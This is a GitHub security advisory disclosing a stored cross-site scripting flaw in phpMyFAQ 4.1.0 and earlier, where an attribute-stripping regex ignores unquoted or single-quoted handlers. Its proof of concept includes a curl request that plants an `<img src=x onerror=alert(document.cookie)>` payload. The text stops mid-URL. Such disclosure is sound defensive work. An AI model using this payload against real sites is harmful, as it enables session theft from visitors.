GitHub Security Advisory: GHSA-cv2g-8cj8-vgc7
Package: phpmyfaq/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 4.1.0
Patched in: 4.1.1

Summary: phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

Details:
### Summary
The sanitization pipeline for FAQ content is:
1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `"`, `'`, `&` to HTML entities
2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters
3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes

The `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:
```php
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
```

This regex does NOT match:
- Attributes with single quotes: `onerror='alert(1)'`
- Attributes without quotes: `onerror=alert(1)`

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

### Details

**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174

**Sanitization flow for FAQ question field:**

`FaqController::create()` lines 110, 145-149:
```php
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))
```

**Template rendering:** `faq.twig` line 36:
```twig
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
```

**How the bypass works:**

1. Attacker submits: `<img src=x onerror=alert(1)>`
2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `&lt;img src=x onerror=alert(1)&gt;`
3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>`
4. `preg_match_all('/[a-z]+=".+"/iU', ...)` runs:
   - The regex requires `="..."` (double quotes)
   - `onerror=alert(1)` has NO quotes → NOT matched
   - `src=x` has NO quotes → NOT matched
   - No attributes are found for removal
5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact)
6. Template renders with `|raw`: JavaScript executes in browser

**Why double-quoted attributes are (partially) protected:**

For `<img src="x" onerror="alert(1)">`:
- The regex matches both `src="x"` and `onerror="alert(1)"`
- `src` is in `$keep` → preserved
- `onerror` is NOT in `$keep` → removed via `str_replace()`
- Output: `<img src="x">` (safe)

But this protection breaks with single quotes or no quotes.

### PoC

**Step 1: Create FAQ with XSS payload (requires authenticated admin):**
```bash
curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "test@test.com"
    }
  }'
```

**Step 2: XSS triggers on public FAQ page**

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
```
https://target.example.com/content/{categoryId}/{fa